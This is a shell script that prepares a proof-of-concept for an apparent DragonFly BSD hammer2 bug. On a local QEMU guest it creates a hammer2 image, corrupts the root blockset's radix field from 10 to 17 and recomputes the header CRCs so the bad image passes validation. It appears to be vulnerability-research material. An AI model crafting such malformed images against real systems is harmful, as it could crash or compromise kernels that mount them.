#!/bin/sh
# DF-0763 build.sh -- prepare the crafted hammer2 image.
#
# This PoC does not compile any C.  It:
#   1. (One-time on the guest) builds/installs vnconfig from /usr/src.
#   2. Creates a fresh 64MB hammer2 image with newfs_hammer2.
#   3. Runs the host-side Python crafter to patch sroot_blockset[0].data_off
#      radix from 10 -> 17 and recompute the three volume-header CRCs.
#
# The crafted image (h2_craft_radix17.img) is committed to this folder; this
# script regenerates it from scratch if needed.
#
# Run this on the HOST (has python3).  It ssh's the guest for steps 1-2.

set -e
cd "$(dirname "$0")"
SSH="ssh -F dfbsd-qemu/config dfbsd"
SCP="scp -F dfbsd-qemu/config"

echo "[1] Ensure vnconfig is installed on the guest..."
$SSH 'which vnconfig >/dev/null 2>&1 || (cd /usr/src/usr.sbin/vnconfig && make obj && make && make install) >/dev/null 2>&1; vnconfig 2>&1 | head -1'

echo "[2] Create a clean 64MB hammer2 image on the guest..."
$SSH 'cd /tmp && rm -f h2_clean.img && truncate -s 64M h2_clean.img && newfs_hammer2 -L testvol h2_clean.img >/dev/null 2>&1 && echo newfs_ok'

echo "[3] Copy clean image to host and craft the bad-radix variant..."
$SSH 'cat /tmp/h2_clean.img' > h2_clean.img
python3 craft_radix_img.py h2_craft_radix17.img 17

echo "[4] Push crafted image back to guest..."
$SCP h2_craft_radix17.img dfbsd:/tmp/h2_craft_radix17.img

echo "[+] Done.  Image: h2_craft_radix17.img (sroot_blockset[0] radix=17, bytes=128KB)"
echo "[+] Trigger with:  sh run.sh"
